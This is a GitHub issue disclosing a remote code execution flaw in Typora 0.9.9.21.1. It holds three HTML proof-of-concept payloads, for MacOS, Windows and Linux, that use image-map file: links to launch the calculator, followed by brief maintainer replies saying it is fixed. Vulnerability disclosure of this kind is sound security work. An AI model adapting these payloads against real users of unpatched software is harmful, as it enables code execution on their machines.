Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Typora Version 0.9.9.21.1 (1913) Remote Code Execution Vulnerability #2166

Closed
r0t0tiller opened this issue Feb 7, 2019 · 3 comments
Closed
Labels

Comments

@r0t0tiller
Copy link

Typora Version 0.9.9.21.1 (1913) Remote Code Execution Vulnerability

Description:

Typora fails to sanitize input on HTML attributes. Abusing the file:\\ URI scheme on HTML attributes can result in arbitrary code execution. The below proof of concepts will execute calculator when opened inside of Typora (MacOS, Linux, Windows). Attached are screenshots as well as the .md files that trigger the vulnerability (PoC.zip).

Tested On: MacOS 10.14.2, Ubuntu 18.04, Windows 10

Proof of Concepts:

MacOS:

<!DOCTYPE html>
<html>
<body>
    <p>
        Click me!
    </p>
<img src="exploit.gif" width="145" height="126"usemap="#exploitmap" alt="exploit" download>
<map name="exploitmap">
  <area shape="rect" coords="0,0,82,126" alt="exploit" id="exploitme" href="file:\\\Applications\Calculator.app">
</map>
</body>
</html>

Windows:

<!DOCTYPE html>
<html>
<body>
    <p>
        Click me!
    </p>
<img src="exploit.gif" width="145" height="126"usemap="#exploitmap" alt="exploit" download>
<map name="exploitmap">
  <area shape="rect" coords="0,0,82,126" alt="exploit" id="exploitme" href="file://C|Windows/System32/calc.exe">
</map>
</body>
</html>

Linux:

<!DOCTYPE html>
<html>
<body>
    <p>
        Click me!
    </p>
<img src="exploit.gif" width="145" height="126"usemap="#exploitmap" alt="exploit" download>
<map name="exploitmap">
  <area shape="rect" coords="0,0,82,126" alt="exploit" id="exploitme" href="file:\\\">
</map>
</body>
</html>

PoC.zip

@r0t0tiller
Copy link
Author

macos_poc

windows_poc

@Fastidious
Copy link

@tylerp96 I think this is by design. You can do the same thing on an HTML page, open it on a browser, and it will have the same effect.

@abnerlee abnerlee added the bug label Feb 13, 2019
@abnerlee
Copy link
Contributor

fixed in new release

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

3 participants